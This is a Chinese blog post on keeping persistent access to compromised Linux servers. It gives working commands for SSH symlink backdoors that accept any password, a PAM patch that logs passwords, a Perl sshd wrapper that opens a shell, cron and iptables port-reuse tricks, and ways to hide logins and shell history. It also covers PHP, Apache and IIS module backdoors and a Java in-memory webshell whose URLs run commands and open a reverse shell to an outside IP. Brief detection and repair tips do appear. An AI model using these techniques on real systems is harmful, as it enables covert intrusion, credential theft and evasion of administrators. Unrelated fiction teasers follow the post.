linux权限维持

ssh软连接后门

  • SSH服务默认使用PAM进行身份验证
  • PAM是Linux系统中的一个独立API,它提供了各种验证模块以供其它程序调用,从而完成身份认证的功能
  • pam验证过程中,只要pam_rootok模块检测uid为0,即可成功认证登录,通过软连接文件名的方式(比如su),可以建立ssh后门
  1. 利用
  • 靶机上执行
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12345
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12345
  • 此时任意密码都能连接靶机的12345端口
root@kali:~# ssh root@192.168.80.147 -p 12345
  1. 检测
netstat -pantu  查看可疑端口
ls -al /tmp/su  查看软连接文件
  1. 修复
配置/etc/ssh/sshd_config
UsePAM no

PAM后门

  • 原理
    上面提到的sshd软链接后门利用PAM达到任意密码登录的目的。
    还有一种利用方式是键盘记录,并给ssh设置新密码(老密码依然可用),原理主要是通过打补丁的方式潜入到正常的pam模块中。
https://github.com/litsand/shell/blob/master/pam.sh
image.png

安装完成后可使用新密码test123登录Linux,并且每次登录的密码信息会保存在/bin/.sshlog文件下

image.png
  • 检测
    检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so  #32位
stat /lib64/security/pam_unix.so  #64位

SSH wrapper后门

将原来的启动脚本/usr/sbin/sshd移动到/usr/bin/sshd,并新建启动脚本/usr/sbin/sshd。原理没太看明白,反正命令敲完socat就连上了...

  1. 目标机上配置
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
  1. 使用socat连接
socat STDIO TCP4:target_ip:22,sourceport=13377
  1. 检测

查看sshd文件

cat /usr/sbin/sshd
  1. 修复
rm -rf /usr/sbin/sshd; mv /usr/bin/sshd /usr/sbin/sshd;

ssh免密登录

  1. Kali上执行
  • 生成公私钥密码对
ssh-keygen -t rsa
  • 将id_rsa.pub复制到centos
  1. centos上执行
  • 写入公钥
mkdir /root/.ssh
touch /root/.ssh/authorized_keys
cat id_rsa.pub >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh/
  • 配置允许秘钥登录
vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
  • 关闭selinux(如果需要)
[root@localhost ~]# getenforce 
Enforcing
[root@localhost ~]# setenforce 0
[root@localhost ~]# getenforce 
Permissive
  1. 此时kali可免密登录centos
root@kali:~# ssh root@192.168.80.147
ssh -i /root/.ssh/id_rsa root@192.168.1.2
image.png

crontab定时任务

可利用cron的几个地方

  • /etc/crontab 只允许root用户修改
  • /var/spool/cron/ 存放着每个用户的crontab任务,每个任务以创建者的名字命名
  • /etc/cron.d/ 将文件写到该目录下,格式和/etc/crontab相同
  • 把脚本放在/etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/目录中,让它每小时/天/星期/月执行一次

端口复用

使用iptables判断来路ip来实现端口复用

iptables -t nat -I PREROUTING 1 -p tcp -s 攻击者的IP --dport 80 -j DNAT --to-destination 靶机的IP:22 

此时,攻击者的IP连接靶机的80端口,可登录靶机的SSH服务;其它机器可正常访问靶机的HTTP服务;攻击者的IP没法访问靶机的HTTP服务。

隐藏技术

  1. 隐身登录
    不会被last who w等命令检测到
ssh -p 22 -T root@192.168.80.150 /bin/bash -i
  1. 隐藏历史命令
set +o history 禁用历史命令功能
set -o history 重新开启历史命令
history -d 100 删除某一行命令

扩展后门

  1. PHP模块
  • 安装php环境
apt-get install php7.0 -y
apt-get install libapache2-mod-php7.0 -y
apt-get install php7.0-gd -y
  • 获取扩展目录
php -i |grep extension_dir
  • 下载对应版本的后门文件,并移动到扩展目录中
https://github.com/phith0n/arbitrary-php-extension
  • 修改php.ini开启扩展
extension=arbitraryphp.so
  • 配置完成后需要重启Apache
/etc/init.d/apache2 restart
  • 如下图,成功建立后门
image.png
  • 也可以用蚁剑进行连接


    image.png
  1. Apache模块
    直接使用自动化的工具
https://github.com/WangYihang/Apache-HTTP-Server-Module-Backdoor
  • 安装后门
apt install apache2-dev && apxs -i -a -c mod_backdoor.c && service apache2 restart
  • 控制端使用方法
python exploit.py 192.168.80.201 80
image.png
  1. IIS模块
    本地没有安装iis环境,就不复现了,后门模块地址:
    https://github.com/WBGlIl/IIS_backdoor

无文件webshell

  1. memShell
    原理:通过进程注入来实现内存webshell,具体到Java环境利用的是Java的Instrumentation接口。
    https://github.com/rebeyond/memShell
  • 安装后门
unzip memShell.zip
cd memShell
java -jar inject.jar passwd
image.png
  • 连接后门
#命令执行
http://192.168.3.131:8080/aaaa?pass_the_world=passwd&model=exec&cmd=ls
#反弹shell
http://192.168.3.131:8080/aaaa?pass_the_world=passwd&model=connectback&ip=x.x.x.x&port=81
#还有一些其它功能参考github...
image.png
  • 测试发现重启tomcat后webshell依然有效,当然由于是内存马,所以重启服务器后就失效了。

参考

https://www.secpulse.com/archives/100484.html
https://phyb0x.github.io/2018/10/23/linux%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81-%E5%90%8E%E9%97%A8/
https://www.freebuf.com/articles/web/172753.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,311评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,339评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,671评论 0 342
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,252评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,253评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,031评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,340评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,973评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,466评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,937评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,039评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,701评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,254评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,259评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,485评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,497评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,786评论 2 345